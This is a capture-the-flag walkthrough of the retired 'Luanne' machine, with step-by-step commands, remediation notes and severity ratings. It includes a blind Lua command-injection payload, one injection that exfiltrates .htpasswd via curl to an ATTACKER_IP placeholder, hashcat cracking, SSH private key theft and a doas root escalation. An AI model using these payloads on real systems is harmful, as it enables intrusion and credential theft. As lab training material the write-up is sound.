Luanne
Summary
I scanned the target ($TARGET) and found three services: nginx on port 80 requiring HTTP Basic Auth, SSH on port 22, and an unknown listener on port 9001. The nginx 401 error page inadvertently embedded a hyperlink to an internal back-end at 127.0.0.1:3000, and the server's robots.txt file explicitly advertised the /weather path while noting it remained active. The /weather/forecast endpoint passed the city query parameter directly into a Lua execution context without sanitisation; injecting an os.execute call caused a measurable 3-second delay, confirming blind OS command injection with no authentication required.
That injection was used to read /var/www/.htpasswd, which contained an MD5-crypt hash for webapi_user; offline cracking with hashcat recovered the plaintext <withheld> in seconds. Those credentials satisfied the nginx HTTP Basic Auth and, via its reverse proxy, gave access to an internal bozohttpd file-server serving r.michaels' home directory with no path restrictions. A single authenticated HTTP request retrieved r.michaels' unencrypted SSH private key from the .ssh subdirectory, which opened an interactive shell on the host.
Inside r.michaels' home directory, a PGP-encrypted development backup was decryptable using the resident user keyring; the extracted archive contained a .htpasswd file whose MD5-crypt hash cracked to <withheld> — the same password configured for doas privilege escalation. The doas utility was configured to permit r.michaels to execute any command as root, so supplying <withheld> at the prompt produced an unrestricted root shell and full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <hash_from_above> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Version and default-script scan on discovered ports.
$ nmap -sC -sV -p 22,80,9001 $TARGETObserve the 401 body for the embedded 127.0.0.1:3000 reference.
$ curl -si http://$TARGET/ | head -40Read robots.txt — /weather is listed with a comment confirming it is active.
$ curl -s http://$TARGET/robots.txtFixRemove application endpoint paths from robots.txtLow
Exact commands 2
Baseline timing — expect ~0.08 s.
$ curl -s -o /dev/null -w '%{time_total}\n' "http://$TARGET/weather/forecast?city=list"Inject sleep payload; a ~3 s delay confirms blind code execution.
$ curl -s -o /dev/null -w '%{time_total}\n' "http://$TARGET/weather/forecast?city=%27)%20os.execute(%27sleep%203%27)%20--"FixSanitize weather API input and remove OS execution capability from the Lua environmentCritical
Exact commands 3
Start HTTP listener on my machine to receive the exfiltrated file content.
$ python3 -m http.server 8080Inject payload to read .htpasswd and beacon the hex-encoded content; replace $ATTACKER_IP.
$ curl -s "http://$TARGET/weather/forecast?city=%27)%20os.execute(%27curl%20http%3A%2F%2FATTACKER_IP%3A8080%2F%3Fd%3D%24(xxd%20-p%20%2Fvar%2Fwww%2F.htpasswd)%27)%20--"Crack the MD5-crypt hash (hashcat mode 500); recovers <withheld>.
$ echo "$HASH" > hash.txt && hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txtFixRelocate .htpasswd outside the web root and upgrade to a strong password hashing schemeHigh
Exact commands 2
Authenticate to nginx and download r.michaels' private key via the proxied internal file-server.
$ curl -s -u "webapi_user:$PASSWORD" http://$TARGET/~r.michaels/.ssh/id_rsa -o /tmp/luanne_id_rsaSet key permissions required by OpenSSH.
$ chmod 600 /tmp/luanne_id_rsaFixPrevent the internal file-server from serving the .ssh directory and other sensitive home-directory pathsHigh
Exact commands 2
Open an interactive shell as r.michaels using the stolen key.
$ ssh -i /tmp/luanne_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null r.michaels@$TARGETUser flag: <user.txt>.
$ cat /home/r.michaels/user.txtExact commands 4
As r.michaels — locate the encrypted backup archive.
$ ls ~/backups/Decrypt using r.michaels' resident PGP keyring; no passphrase prompt expected.
$ netpgp --decrypt ~/backups/devel_backup-2020-09-16.tar.gz.enc --output /tmp/backup.tar.gzExtract the archive and print the embedded development credential hash.
$ tar xzf /tmp/backup.tar.gz -C /tmp/ && cat /tmp/var/www/devel/.htpasswdCrack the extracted MD5-crypt hash; yields <withheld>.
$ echo 'r.michaels:<hash_from_above>' > dev_hash.txt && hashcat -m 500 -a 0 dev_hash.txt /usr/share/wordlists/rockyou.txtFixRemove credential files from backup archives and store backups outside user home directoriesHigh
Exact commands 2
From r.michaels' session — enter <withheld> at the password prompt for a root shell.
$ doas -u root /bin/shRoot flag: <root.txt>.
$ cat /root/root.txtFixRestrict doas rules to specific minimum-necessary commands and use a dedicated escalation credentialHigh
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.0 (NetBSD 20190418-hpn13v14-lpk; protocol 2.0) |
| 80/tcp | http nginx 1.19.0 |
| 9001/tcp | unknown recon-sweep-discovered |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.